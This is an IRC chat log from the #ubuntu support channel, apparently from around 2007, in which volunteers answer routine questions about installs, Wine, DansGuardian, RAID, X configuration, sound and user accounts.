[08:40] <bobbyrullo> hi there - anyone have any luck installing ubuntu 704 on parallels? I'm getting stuck on the "install and mount cd-rom" bit
[08:40] <conreyt> xhost: wine
[08:40] <ikonia> cedric30: then why are you getting fesity packages
[08:40] <bruenig> bobbyrullo, #ubuntu+1
[08:41] <apprentice> does anyone know how to partition an ipod nondestructivly
[08:41] <hendaus_> ikonia,  when i leave the pc after 20 minutes, the monitor swichoff without changing the green screen button
[08:41] <bobbyrullo> thanks bruenig
[08:41] <bruenig> cedric30, mixing repos is a good way to destroy your system
[08:41] <variant> xhost: cedega is free software (most of it)
[08:41] <CheshireViking> ok
[08:41] <ikonia> hendaus_: I told you I don't understand - try the spanish chanel
[08:41] <variant> xhost: you can get it from CVS, it is based on wine though
[08:41] <ikonia> !es | hendaus_
[08:41] <ubotu> hendaus_: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[08:41] <kev_> !man mkfs
[08:41] <CheshireViking> sorry, wrong window
[08:41] <conreyt> variant: cegega is NOT free software.
[08:41] <cedric30> ikonia, I just wanted to download the last source and compiled it for edgy
[08:41] <ubotu> Sorry, I don't know anything about man mkfs - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:41] <simonsays> kk thanks for help, is there anyway i can wipe ubuntu to origional setting and content without re installing?
[08:41] <xhost> variant, i agree but i think the site says one needs to pay
[08:41] <ikonia> cedric30: ok - so explain the problem again
[08:41] <variant> conreyt: it's based on GPL software, it has to be or it's breaking the law
[08:41] <ikonia> simonsays: just re-install - I've told you 3 times now
[08:41] <Ryan`> If cedega is free software, why cant there be an apt-get package to install it? Is something non-free in it?
[08:41] <cedric30> ikonia, but normaly apt-src don't install package
[08:41] <conreyt> variant: sigh
[08:42] <simonsays> ok sorry lool
[08:42] <conreyt> variant: it's not free software.
[08:42] <apocalypse> !realplayer
[08:42] <ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[08:42] <ikonia> cedric30: it doesn't - it install source
[08:42] <hendaus_> bruenig,  did u know?
[08:42] <noelferreira> anyone with rt61 wireless driver and wpasupplicant working?
[08:42] <ikonia> simonsays: I'm not laughing
[08:42] <Kassah> ikonia: cedega isn't free software
[08:42] <ikonia> Kassah: didn't say it was
[08:42] <conreyt> variant: it's Free but not free
[08:42] <xhost> conreyt, wine doesn't help a lot?
[08:42] <frojnd> hello, how can I connect to someone else box if I know the IP, username and pass, but there is problem, that box is not alone in the network, all boxes in this network use one external IP
[08:42] <variant> xhost: you can get the code from CVS and compile it your self although it probably leaves out directX parts
[08:42] <conreyt> host: winehq.org
[08:42] <SeveredCross> Ryan`: Cedega isn't free, that's why there's no apt package.
[08:42] <cedric30> ikonia, I have make sudo apt-src install cdbs libwxgtk2.4-dev   libogg-dev  libmad0-dev  libid3tag0-dev  libsndfile1-dev libflac++-dev portaudio19-dev libsoundtouch1-dev libsamplerate0-dev and it has installed  http://paste.ubuntu-nl.org/11881/
[08:42] <bruenig> hendaus_, I don't even know what your question is, I really couldn't understand it
[08:42] <daziplqa> hey all
[08:42] <os_> thanks
[08:42] <daziplqa> i have a prob
[08:42] <variant> conreyt: thats exactly what i was talking about *sigh*
[08:42] <SeveredCross> frojnd: They need to forward the port for whatever proto you're trying to use to connect to that box.
[08:42] <daziplqa> may any one share it with me ???
[08:42] <bruenig> cedric30, why are you using apt-src?
[08:43] <cedric30> ikonia, this package are the dependance of audacity
[08:43] <conreyt> host: it helps if you're thirsty :)
[08:43] <ikonia> cedric30: its trying to install the dependencies it wants out of the fesity repo
[08:43] <SeveredCross> So, if you're using SSH, it's port 22.
[08:43] <ikonia> daziplqa: just ask the question
[08:43] <xhost> well variant but most of the windows based gaming requires directx
[08:43] <cedric30> bruenig, just to download the last source of a package it was just to prove it
[08:43] <daziplqa> i have followed this page to setup dansguardian http://ubuntuforums.org/showpost.php?p=1222237&postcount=21
[08:43] <SeveredCross> The forwarding has to be done in the router that handles NAT/DHCP for the network.
[08:43] <hendaus_> bruenig,  ok how can i turn the monitor switch off after 20 minutes?
[08:43] <variant> xhost: indeed, and wine has some support for that, cedega has improved support however
[08:43] <bruenig> hendaus_, wait and press the button
[08:43] <daziplqa> but now firefox does not open pages at all
[08:44] <variant> xhost: so, the moral of the story is to just try wine :) what games specifically?
[08:44] <Slart> bruenig: hendaus_ahh.. #ubuntu.. helpful answers for all ages an people =)
[08:44] <ikonia> bruenig: I don't understand why he won't join and ask in #ubuntu-es where people understand him
[08:44] <cedric30> ikonia, So you said me it had installed the dependancy and it has put the package on my directory?
[08:44] <daziplqa> i found that there are conf files over there : /etc/danguradian/*
[08:44] <bruenig> ikonia, I tell him every time to go there, but he never does
[08:44] <ikonia> cedric30: its either listing or trying to install the deps
[08:44] <xhost> i was wondering of playing age of emipres and the linux variant of these games are not that cool.
[08:44] <ikonia> bruenig: I've said 3 times
[08:44] <daziplqa> but how can i deal with this huge no. of conf. files ???
[08:44] <apprentice> can i download a torrent from the live cd into a usb flash drive
[08:44] <bruenig> hendaus_, I don't have any idea, can't you just set it up to do that in screensaver settings
[08:44] <hendaus_> bruenig, is there anyway to make it automatically?
[08:44] <ikonia> apprentice: yes
[08:45] <daziplqa> is there any simple way to make FF workes ??
[08:45] <ChrisVereb> ikonia: regarding the second user login problem, a ls -ld of the second user's home directory gives:  drwxr-xr-x 17 jillian jillian 4096 2007-03-24 15:36 jillian.
[08:45] <ikonia> hendaus_: ask in #ubuntu-es  they speak spansish
[08:45] <variant> xhost: http://appdb.winehq.org/appview.php?iVersionId=147
[08:45] <nekr0z> Hello all! I'm trying to use a WM other than GNOME or KDE on Edgy, and have a problem: fonts in most programs become tiny. Back in GNOME all the fonts are big again. What can be the matter?
[08:45] <apprentice> does anyone know how you can fix a corrupt cd-rom?
[08:45] <cedric30> ikonia, it's a little bit strange I knew apt-src do not installed nothing on my computer ..
[08:45] <ikonia> ChrisVereb: that looks could
[08:45] <variant> xhost: it seems to have some support, you may be able to optimise it
[08:45] <ikonia> apprentice: re-burn it
[08:45] <hendaus_> bruenig,  the first time i install kubuntu , it works fine
[08:45] <ikonia> cedric30: it maybe highlighting the deps
[08:45] <bruenig> hendaus_, then go to #kubuntu
[08:45] <ikonia> hendaus_: ask in #ubuntu-es they speak your native language
[08:45] <apprentice> its an original cd. how do i reburn it with only one cd drive and a live cd
[08:45] <Slart> apprentice: I doubt you can fix a corrupt cd.. unless you buuy one of those, polish and repair kits..
[08:45] <conreyt> variant, host: go to transgaming.org and  check supported games for cedega.  go to winehq.org and check for supported games and turorials for wine there.
[08:46] <variant> conreyt: why are you telling me?
[08:46] <hendaus_> bruenig,  ok thank you :))
[08:46] <cedric30> ikonia, no the dep are installed like you can see here : http://paste.ubuntu-nl.org/11881/
[08:46] <ikonia> hendaus_: ask in #ubuntu-es they speak your native language
[08:46] <daziplqa> REALLY, i need help
[08:46] <ikonia> cedric30: must be prep work for the build
[08:46] <ikonia> daziplqa: with what
[08:46] <variant> xhost: if you wish to address a comment to me, please use my full nick. you can type "va" press tab key and it will fill in the rest for you
[08:46] <shafto> Evening all :D
[08:46] <hendaus_> ikonia,  thanx but u have to teach me english more than espanish :)
[08:46] <daziplqa> i state it ealier
[08:46] <mll> so your on duty tonight too Ikonia? ;)
[08:46] <daziplqa> i'll do again
[08:46] <variant> xhost: otherwise i wont see it probably
[08:47] <ikonia> hendaus_: this is not an english lesson channel
[08:47] <ikonia> mll: ha ha ha yes
[08:47] <mll> =)
[08:47] <daziplqa> ikonia: with dansguradian
[08:47] <mll> your a rock in the cyber storm
[08:47] <xhost> thank you for the advice variant, but it seems i am doing that only, though the screen is flowing
[08:47] <ikonia> daziplqa: whats dansguradian ?
[08:47] <ikonia> mll: ha ha, I try
[08:47] <daziplqa> a web filtering tool
[08:47] <ikonia> mll: flattery gets you everywhere
[08:48] <mll> keep it up, its apreciated ;9
[08:48] <bruenig> ah web filtering, what are you china
[08:48] <ikonia> daziplqa: is it in the ubuntu repo ?
[08:48] <daziplqa> yes
[08:48] <cedric30> ikonia, but normaly using apt-src I can download the source of the last package I want and build it for my edgy to have correct dependancies, isn't it
[08:48] <daziplqa> ikonia : i installed it
[08:48] <mll> oookeeee, you good lookin ;)
[08:48] <daziplqa> ikonia : but after installation FF do not want to work
[08:48] <variant> xhost: seems to be reported working very well in fc6, it's worth your while compiling the very latest version of wine you can get as this will generaly have the best support
[08:48] <bruenig> cedric30, what is the advantage of apt-sr
[08:48] <bruenig> c
[08:48] <variant> xhost: winehq.org
[08:48] <ikonia> daziplqa: define does not want to work
[08:48] <daziplqa> ikonia : how ??????????????
[08:49] <ikonia> daziplqa: tell me what you mean buy doesn't want to work
[08:49] <cedric30> bruenig, crash your dependancies it's seems :)
[08:49] <xhost> yeah i saw that.
[08:49] <daziplqa> ikonia : through conf. files @ /etc/dansguradian/ ??!!!
[08:49] <xhost> i don't think i will play with fedora for now..
[08:49] <ikonia> what ?/??
[08:49] <xhost> i don't think i will play with fedora for now.. variant
[08:49] <bruenig> cedric30, seriously, I looked for the description, what is the point of it
[08:49] <ikonia> daziplqa: define firefox not working
[08:49] <daziplqa> ikonia : it does not display any thing when trying to access any site
[08:49] <ikonia> daziplqa: is it possible that the filtering software is blocking everyhing
[08:50] <daziplqa> ikonia : just blank white page
[08:50] <conreyt> xhost: are you comfortable compiling an app?
[08:50] <cedric30> bruenig, non in really I was to test apt-src so I have put the source of feisty in my sources.list
[08:50] <ikonia> daziplqa: is it possible that the filtering software is blocking everyhing
[08:50] <daziplqa> ikonia : i thing so
[08:50] <bruenig> !english | cedric30
[08:50] <ubotu> cedric30: The #ubuntu, #kubuntu and #xubuntu channels are english only. For a complete list of channels in other languages, please visit http://help.ubuntu.com/community/InternetRelayChat
[08:50] <xhost> conreyt, i can try. why?
[08:50] <thezenmaster> ikonia: is there a way of dual-booting two SATA hd's?
[08:50] <apprentice> does anyone know how to clone a cd?
[08:50] <laptop> How do I run an .rpm file with rpm???
[08:51] <laptop> cdclone.bin
[08:51] <ikonia> thezenmaster: you mean the raided drives ?
[08:51] <variant> !alien | laptop
[08:51] <ubotu> laptop: RPM is the RedHat Package Management system. Ubuntu does not use RPM, but !APT, and RPM packages are not supported (the package "alien" can allow installing them, but it's quite dangerous)
[08:51] <daziplqa> ikonia : i followed this page : http://ubuntuforums.org/showpost.php?p=1222237&postcount=21
[08:51] <thezenmaster> no
[08:51] <ikonia> daziplqa: you'll have to learn how to config it
[08:51] <xhost> laptop,: rpm -ivh yourrpmfilename.rpm
[08:51] <bruenig> laptop, it is not a good idea, I would get the tarball, but alien can try to convert it to deb
[08:51] <ikonia> laptop: do not mess with rpm's on ubuntu - they are build for a different system
[08:51] <daziplqa>  ikonia : i followed this page : http://ubuntuforums.org/showpost.php?p=1222237&postcount=21
[08:51] <laptop> ahhhhh
[08:51] <laptop> okay
[08:51] <daziplqa> ikonia : plz check it out
[08:51] <thezenmaster> ikonia: i have a RAID0 and a separate SATA HD where all my downloads music and stuff go, I can make a partition for ubuntu there
[08:51] <conreyt> xhost: if you're not comfortable doing it, and not opposed to using non-free software, just use cedega.
[08:51] <ikonia> daziplqa: so post on that forum thread, I'm afaird I don't know anything about the product your playing with
[08:51] <cedric30> bruenig, but I had a problem with the dependancies
[08:51] <ikonia> thezenmaster: sounds a good call
[08:52] <bruenig> cedric30, what are you talking about?
[08:52] <daziplqa> ikonia : mm, you do not any thing about dansguradian ????
[08:52] <conreyt> xhost: they do a good job packaging up their engine. and providing .debs that install well into Ubuntu
[08:52] <ikonia> daziplqa: no, I don't
[08:52] <cedric30> bruenig, no it's not important I going to remove my error
[08:52] <thezenmaster> ikonia: i only found guides for SATA+IDE, is the process for SATA+SATA(RAID) the same=
[08:52] <xhost> thanks for advice conreyt in that case i think i will stick with wine. atleast will learn to complie
[08:52] <thezenmaster> ?
[08:52] <daziplqa> ikonia: so help me if you please
[08:52] <ikonia> thezenmaster: just treat the raid as a sata disk
[08:52] <conreyt> xhost: That's the way I'd go too :)
[08:52] <bruenig> cedric30, right but just so you know, I still haven't the slightest idea of anything you have said
[08:53] <ikonia> daziplqa: I've just said 2 times I don't know anything about the product your using
[08:53] <ChrisVereb> Okay, so with my login troubles on the second user.  I've checked that the second user has both read and write access to their home directory, per ikonia's suggestion.  Any ideas on what I should try next?
[08:53] <variant> ChrisVereb: you didn't tell me the answer to the questions I asked you
[08:53] <ikonia> ChrisVereb: its unusual - thinking, belt and braces, you could remove the user and create a new test user
[08:53] <cedric30> bruenig, ok I know I'm french and write english is a little bit difficult
[08:53] <daziplqa> ikonia : which product ? i uses Ubunut 6.06 , and Firefox
[08:53] <conreyt> xhost: if  you have questions, let us know, my son is playing a couple of windows games on his ubuntu desktop, and I've set them up using wine.  The wine docs are extremely helpful
[08:54] <ikonia> daziplqa: the web filter
[08:54] <bruenig> !fr
[08:54] <ChrisVereb> variant:  sorry....I must have missed the questions!  I'll go back and check on that!
[08:54] <ubotu> Allez a #ubuntu-fr ou #kubuntu-fr pour de l'aide et de la discussion en francais.
[08:54] <daziplqa> mm
[08:54] <cedric30> bruenig, but english forum is better to find a solution
[08:54] <variant> ChrisVereb: /lastlog variant (depending on client)
[08:54] <daziplqa> ikonia : thanx man
[08:54] <agws> does anyone know of a hosting program simmular to CPanel, but non commercial?
[08:54] <doseryder> thezenmaster: can you briefly tell me what is the purpose/significance/advantages of raid0 setup?
[08:54] <ikonia> agws: no
[08:54] <ikonia> doseryder: crazy people think its faster
[08:55] <Cyyni1> oddball question here, i have ubuntu/kubuntu installed and i've been running KDE since day one, i just tried out Gnome and got an "Out of Range " error on my monitor. can someone point me in the right direction?
[08:55] <xhost> sure conreyt, presently i am downloading the qemu and kvm. will keep the wine stuff for tomorrow and also at present samba is troubling me a lot.
[08:55] <daziplqa> HEY ALL, I NEED HELP CONCERNING : dansguradian *********************************;)
[08:55] <jengc0il> http://paste.ubuntu-nl.org/11884/
[08:55] <jengc0il> any idea
[08:55] <ikonia> daziplqa: thats not the way to ask !
[08:55] <daziplqa> :(
[08:55] <variant> daziplqa: don't talk like that or you will eventualy be kicked
[08:55] <ikonia> !patience >daziplqa
[08:55] <xhost> i think i have to read a lot of docs..
[08:55] <daziplqa> :(
[08:55] <ikonia> !attitude >dazipla
[08:55] <variant> !ask > daziplqa
[08:55] <daziplqa> :-!
[08:55] <variant> lol
[08:55] <conreyt> dazinplqa: go to dansguardian.org then
[08:56] <daziplqa> i went
[08:56] <ikonia> conreyt: glad you said that
[08:56] <daziplqa> but
[08:56] <variant> daziplqa: is there an irc channel?
[08:56] <doseryder> ikonia: I dont guess thats why i'm asking those who actually knows and i want to know what is is really.  in 2 or 3 sentences
[08:56] <daziplqa> my browser now can not word
[08:56] <ikonia> doseryder: pardon ?
[08:56] <agws> does anyone know of a hosting program simmular to CPanel, but non commercial?
[08:56] <nickk> hey, I just installed VMWare on my ubuntu edgy... and i can't seem to get the internet working.. i need to use windows for design apps. anyone know how to get the net working?
[08:56] <ikonia> doseryder: about what ?
[08:56] <variant> daziplqa: look on wikipedia
[08:56] <bruenig> !vmware
[08:56] <conreyt> dazinplqa: do you need help with your browser on Ubuntu then?
[08:56] <ubotu> VMWare Player is in Ubuntu's !Multiverse repository (package "vmware-player"), and http://www.easyvmx.com/easyvmx.shtml can create VMs for it. For VMWare Server, instructions can be found at https://help.ubuntu.com/community/VMware - See also !virtualizers
[08:56] <doseryder> ikonia: can you briefly tell me what is the purpose/significance/advantages of raid0 setup?
[08:57] <variant> daziplqa: http://en.wikipedia.org/wiki/Redundant_array_of_independent_disks
[08:57] <ikonia> doseryder: yes - as I said crazy people think its faster
[08:57] <bruenig> doseryder, speed I assume
[08:57] <variant> daziplqa: this is not a hardware support channel, /join #hardware and ask there
[08:57] <conreyt> heh
[08:57] <thezenmaster> ikonia: i was told it boosted (a bit) perfomance, so i did it lol it's just that.. if it is possible to unRAID the disks without losing data i don't see any problem with doing it and then i would have one HD for Win, one for Ubuntu and another for trash (maybe a NTFS and a EXT3 partition or something)
[08:57] <daziplqa> all : i need help about dansguradian that prevent my browser from displaying any thing
[08:57] <ikonia> thezenmaster: you can do it but its easier to do under windows
[08:57] <RoundyT1> is there a seagull framework?
[08:57] <thezenmaster> ikonia: im on windows right now
[08:58] <variant> thezenmaster: can't the one for trash also be the one for windows? isin't that what windows partitions basically are anyway? ;P
[08:58] <ikonia> thezenmaster: there are some guys in #windows who can help you do that
[08:58] <thezenmaster> lol
[08:58] <ikonia> thezenmaster: it can be done though
[08:58] <conreyt> daziplqa: you need to direct your questions to a dans quardian support channel.
[08:58] <RoundyT1> is there a seagull framework channel....or does anyone use Seagull framework??? around here?
[08:58] <Cyyni1> can someone point me to the configuration file for Gnome to define my monitor specs, i'm getting an "Out of Range" error
[08:58] <steve_> hi all
[08:58] <ikonia> RoundyT1: do you do any research your self ?/? this is not a general knowledge channel - look it up yourself
[08:58] <thezenmaster> ikonia: do you think the windows people are frinedly enough to help? lol
[08:58] <variant> Cyyni1: /etc/X11/xorg.conf
[08:58] <conreyt> daziplqa: or ask again in a few hours
[08:58] <ikonia> RoundyT1: this is UBUNTU SUPPORT
[08:59] <doseryder> bruenig: i think ikonia just called u krazy
[08:59] <Cyyni1> variant: thanks
[08:59] <ikonia> thezenmaster: most of them, some have helped me out a lot i the past
[08:59] <variant> ikonia: frustrating aint it?
[08:59] <ikonia> doseryder: I did what ?
[08:59] <ikonia> variant: he's been in here all day with "hi - what time is it" style questions, its just rude and ruins the channel
[08:59] <steve_> does this channel mind if I ask about running kxdocker on a kubuntu system?
[08:59] <ikonia> steve_: #kubuntu is better
[09:00] <LjL> steve_: no. i can tell you it's quite broken under edgy
[09:00] <RoundyT1> ok then. Can you help me setup my wireless network card?
[09:00] <conreyt> thezenmaster: google is friendly http://www.google.com/corporate/tenthings.html
[09:00] <steve_> ikonia, I went there but no one responded
[09:00] <ikonia> RoundyT1: is your card support
[09:00] <ikonia> supported
[09:00] <RoundyT1> i do believe so
[09:00] <ikonia> RoundyT1: have you checked
[09:00] <RoundyT1> yes.
[09:00] <ikonia> RoundyT1: do you know what drivers it will use
[09:00] <RoundyT1> well its an IBM thinkpad
[09:00] <RoundyT1> internal intel chip
[09:00] <daziplqa> conreyt: where to find this channel ( what is its name ??
[09:00] <ikonia> RoundyT1: an ibm thinkpad is not an a wirless card
[09:01] <agws> does anyone know of a hosting program simmular to CPanel, but non commercial?
[09:01] <ChrisVereb> variant:  I created the second user via the gui tool without changing any options.  After I had problems I changed the options from the defaults to match those of the user created during installation, but still had the problem
[09:01] <ikonia> RoundyT1: check what card it has and if its supported
[09:01] <McQueen> YOU ARE MY THE BEST FRIENDS... I LOVE UBUNTU.... I LOVE OPENCODES....... THANKS ALL
[09:01] <RoundyT1> I know, omg. don't be rude. I JUST said it has an INTEL card
[09:01] <chazco> Hi, does anyone know why installing the nvidia driver breaks Truecrypt on Ubuntu?
[09:01] <ikonia> ChrisVereb: have you tried the test 3rd user
[09:01] <ikonia> RoundyT1: what type of INTEL card
[09:01] <steve_> what I'm trying to figure out is why kxdocker doesn't do anything when I start it up. It acts like it's trying but then goes away
[09:01] <conreyt> daziplqa: what channel?
[09:01] <RoundyT1> holy crap you're rude
[09:01] <ikonia> RoundyT1: as I just told you (not being rude) check what model it is and if its supported
[09:01] <ikonia> RoundyT1:  - no you're just lazy
[09:02] <ikonia> RoundyT1: I've telling you what to do to get it working
[09:02] <variant> ChrisVereb: strange, i know that a generaly fulproof way is to do "useradd -m -G users,admin username" providing you didn't change anything in /etc/skel this should work fine
[09:02] <variant> ChrisVereb: don't forget to set a password with "passwd username" as root
[09:02] <chazco> i suspect its something to do with the kernel and/or its modules, but dont know any further
[09:02] <bruenig> doseryder, no I was explaining the rationale behind it, not that I necessarily agree with it
[09:02] <bruenig> doseryder, I mean technically it probably does increase speed, but not enough to be worth the extra work I think
[09:02] <ikonia> bruenig: ooooh was this my raid comment
[09:02] <conreyt> chrisVereb: sudo password username
[09:03] <ikonia> doseryder: the raid0 theory does increase spead - on home systems - doubtful
[09:03] <variant> ChrisVereb: if you pastebin the log output from /var/log/Xorg.log it would help too
[09:03] <ikonia> s/spead/speed
[09:03] <ChrisVereb> variant:  I'll try adding a user the way you suggested and see if it helps.  I haven't touched /etc/skel so everything should be okay on that end.
[09:03] <catid> hello.. how do you change the volume keys on the keyboard to control a different sound volume channel other than PCM?
[09:03] <variant> conreyt: you mean passwd presumably
[09:03] <ChrisVereb> variant:  I'll get you that log also
[09:03] <variant> ChrisVereb: thanks
[09:03] <conreyt> variant: aye thanks
[09:03] <Cyyni1> i think i broke my Qt libraries when i upgraded from dapper to edgy a few days ago, but Adept does't see a problem, anyone know where to look for more info?
[09:04] <variant> Cyyni1: what makes you think that?
[09:05] <thezenmaster> ikonia: it seems the only way to do it is through a process of Backup, unraid, re-install and resotre
[09:05] <thezenmaster> boring xD
[09:05] <Cyyni1> variant: when i've tried to install a few apt-get packages and run things off the command line i get weird errors that don't stop anything from working...
[09:05] <ikonia> thezenmaster: I thought there was another trick to do it
[09:05] <thezenmaster> maybe it's because it's a 0 array
[09:05] <thezenmaster> striping.. =/
[09:05] <variant> Cyyni1: try pastbining them
[09:05] <ikonia> thezenmaster: still thought there was another way
[09:05] <deafboy> i'm having trouble getting sound in the new feisty even with the "3stack" option, anyone else have ideas?
[09:05] <pusher2882> can somebody tell me how to install and enable jack sound server
[09:06] <Cyyni1> "X Error: BadDevice, invalide or uninitialized input device 168"
[09:06] <peregrine-colnx> Just a quick question: Edgy Eft, Rosegarden 1.2.4, can anyone tell me what package has the docs? There's no rosegarden-docs, and kdebase-docs/kdemultimedia-docs doesnt seem to have it. Thanks!
[09:06] <fransman> Does some know how to setup a (lspnp) NMX2210 (lspci) Neomagic Corporation NM2200, audio card in a notebook?
[09:06] <variant> deafboy: not without more information, like, sound card, warning messages, a description of hte problem in detail
[09:06] <lockdown> my TTY2 is displaying 40 characters across instead of 80,  how can i correct this?
[09:06] <variant> Cyyni1: strange, but it doesn't affect anything you say?
[09:06] <daziplqa> conreyt : channel of dansguradian
[09:06] <ikonia> daziplqa: stop asking about that
[09:06] <deafboy> variant: hda intel, no warning messages, and no sound what so ever =)
[09:07] <variant> deafboy: follow the sound setup tutorials then
[09:07] <variant> !sound | deafboy
[09:07] <ubotu> deafboy: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[09:07] <shek> hello
[09:07] <ikonia> hello
[09:07] <Cyyni1> variant it doesn't seem like it's screwing up any installs, but it doesn't seem to have actually broken things
[09:08] <variant> Cyyni1: dont worry about it then, google for the warning message and if that shows nothing then don't be concernd unless things start breaking
[09:08] <drew> new ubuntu beta is awesome!
[09:08] <variant> Cyyni1: wil probably dissapear after another update
[09:08] <Mfk> hi i wanto to backup my files on ibm 3580
[09:08] <Mfk> Lto 3 tapoe
[09:08] <variant> drew: indeed, #ubuntu+1 for feisty discussion though
[09:08] <Mfk> but i don ' t know how to?
[09:08] <variant> Mfk: use "tar"
[09:08] <shek> feisty hates my wpc54gv3 go figure
[09:09] <variant> !tar | Mfk
[09:09] <ubotu> Mfk: Files with extensions .tar, .gz, .tgz, .zip, .bz2, .7z, .ace and other archive file formats can be opened with file-roller (GNOME) or Ark (KDE) - Also see https://help.ubuntu.com/community/FileCompression
[09:09] <Mfk> variant but there is no st0 or st1 :(
[09:09] <Cyyni1> variant: regarding that /etc/X11/xorg.conf i remember when i initially got my flatscreen i had to edit that file, and Kubuntu is working fine, but when i try to load Gnome i get the "Out of Range" error off my monitor... ideas?
[09:09] <variant> hmm, thats not what i was looking for
[09:09] <flppr> hello
[09:09] <Mfk> ubotu thans but i don't view st0 or st1
[09:09] <Cyyni1> could this have anything to do with having ubuntu 6.06 and i just upgraded Kubuntu to 6.10?
[09:09] <Mfk> i use PARDUS which is a linux
[09:10] <Mfk> but now i am downloading ubuntu and kubuntu dvd :)
[09:10] <variant> Cyyni1: hmmm.. probbaly gnome is trying to set a resolution that is in xorg.conf (but not default) I would BACKUP /etc/xorg.conf (add .backup to it's name) and run X -configure then try again using the config file it creates in roots home directory
[09:10] <flppr> i just installed ubuntu....but after it loads my monitor displays "INVALID SCAN" and just shuts off
[09:10] <conreyt> daziplqa: you'll need to look that up yourself I don't know.
[09:11] <variant> flppr: what i just told Cyyni1 probably applies to you to: hmmm.. probbaly gnome is trying to set a resolution that is in xorg.conf (but not default) I would BACKUP /etc/xorg.conf (add .backup to it's name) and run X -configure then try again using the config file it creates in roots home directory
[09:11] <Cyyni1> variant: gottcha, what's the command for xconfigure? (is it "xconfigure'?) :)
[09:11] <variant> flppr: the part about backing up and runing X -configure i mean
[09:11] <variant> Cyyni1: the command is "X -configure"
[09:11] <steevz> Hmm.. anyone help me install Beryl?
[09:11] <variant> Cyyni1: as root (so sudo -i first as you will have to move some files etc also)
[09:11] <variant> steevz: #ubuntu-effects
[09:11] <flppr> so type "x- configure" in the recover mode?
[09:12] <steevz> I've downloaded and extract all the tarballs in the most recent version 0.2.1, now I'm kinda stuck.
[09:12] <RoundyT1> steevz go type "/join #ubuntu-effects"
[09:12] <Cyyni1> variant: thanks
[09:12] <variant> flppr: X -configure
[09:12] <steevz> okay, thanks.
[09:12] <variant> flppr: not x but X
[09:12] <flppr> ok
[09:12] <Peregrine> What package contains the handbook for Rosegarden?
[09:12] <flppr> what will it do?
[09:12] <variant> flppr: are you root? (does it show a # or a $ at the command prompt)
[09:12] <Flannel> steevz: #ubuntu-effects for beryl support.  Also, there's no reason to install from source, there's packages.  But, they (#ubuntu-effects) know all about their secret locations.
[09:12] <variant> flppr: reconfigure the xserver and probe for usable values from your graphics card and monitor
[09:12] <Mfk> variant pardus scsi # cat                  scsi
[09:12] <Mfk> Attached devices:
[09:12] <Mfk> Host: scsi0 Channel: 00 Id: 05 Lun: 00
[09:12] <Mfk>   Vendor: IBM      Model: ULTRIUM-TD3      Rev: 5CM0
[09:12] <Mfk>   Type:   Sequential-Access                ANSI SCSI revision: 03
[09:12] <flppr> ill be right back...ill boot it
[09:13] <anirudha> 6..
[09:13] <Mfk> variant waht do you thinkl?
[09:13] <daziplqa> conreyt: thnx tooooooooo much man
[09:13] <variant> Mfk: to be true, there is a bunch of tape backup software
[09:13] <Shironeko> Good evening everybody
[09:14] <noelferreira> anyone with rt61 wireless driver and wpasupplicant working?
[09:14] <Ryan`> How can I get to a terminal without X starting? I need to install something without X being loaded.
[09:14] <variant> Mfk: try "tob" or "amanda"
[09:14] <Shironeko> I've been on bug hunting with Feisty fawn this morning and found something suspicious, but can't tell if it's a bug or not....
[09:14] <ikonia> Ryan`: change the default init level to a none X one
[09:14] <drew> Ryan`ctrl+alt+f1
[09:14] <deafboy> variant: my sound card is detected just fine and it's not muted, it just won't play anything
[09:14] <peter77> I'm using ubuntu Feisty, When I plug in headphones in my Toshiba Satellite Pro Laptop the sound plays through both the headphones and the speakers.
[09:14] <Smokkie> How can I change a hard drive mode to CHS? I am having a problem with booting a linux os base, because the hard drive needs to be set to mode CHS
[09:14] <variant> Ryan`: type sudo /etc/init.d/gdm stop that will stop the X server
[09:15] <variant> Ryan`: and dump you to the first VT
[09:15] <anirudha> Can anyone help me with installing HP Deskjet 656C on Ubuntu. I tried using CUPS and it shows it installed, but when I try to print documents off the web or in OpenOffice, it only prints blank pages. Your help is greatly appreciated.
[09:15] <peter77> Is there a way to get the switch between the two to work properly?
[09:15] <PriceChild> !feisty > peter77 (please see the pm from ubotu)
[09:15] <RoundyT1> Is there any way to map a button on my logitech mouse...? to do the "back" function in FireFox?
[09:15] <sohail> ok dudes, I upgraded edgy->feisty for the "desktop effects" yet I can't find them...
[09:15] <Shironeko> Ok, here's the video about the automatic codec installation at feisty
[09:15] <Shironeko> It's in sistem sohail
[09:15] <variant> Ryan`: if you just press ctrl alt f1/2/3 whatever it will not stop the X server, that will still be running on vt 7 (ctrl alt f7)
[09:15] <Shironeko> sistem, preferences
[09:15] <ikonia> RoundyT1: there is a doc on x.org on x/y/z button mappings on mice
[09:15] <Shironeko> Ok, here's the video
[09:15] <PriceChild> !sohail > peter77 (please see the pm from ubotu)
[09:15] <Shironeko> http://www.youtube.com/watch?v=pl9DBRHL1a0
[09:15] <PriceChild> argh
[09:16] <Shironeko> Someone tell me if there's a bug or not
[09:16] <PriceChild> !feisty > sohail lease see the pm from ubotu)
[09:16] <ikonia> RoundyT1: its 50/50 on if it works well or not though (from experience)
[09:16] <variant> lol PriceChild
[09:16] <sohail> PriceChild, you're confusing me more
[09:16] <peter77> PriceChild: I'm running the beta and the problem was also present in edgy
[09:16] <PriceChild> sohail, feisty in #ubuntu+1
[09:16] <Shironeko> Sohail,
[09:16] <sohail> oh ok
[09:16] <varka> hi, if i use a fullfeatured dvb-s card with mythtv, is mythtv able to use its mpeg2-accelerator-chip?
[09:16] <Shironeko> oh ok, me too
[09:16] <sohail> yes Shironeko
[09:16] <PriceChild> peter77, but we don't support beta software in this channel :)
[09:16] <cs02rm0> i've enabled desktop effects in feisty, how do i get the cube to rotate between desktops?
[09:16] <Shironeko> desktop effects should be at SISTEM > preferences
[09:17] <PriceChild> cs02rm0, > #ubuntu+1 please
[09:17] <Enselic`> Am I just doing something wrong, or is it impossible to upload a plain textfile to ubuntu forums (for a tutorial)?
[09:17] <PriceChild> Enselic`, yeah you'll have to add an extension to it
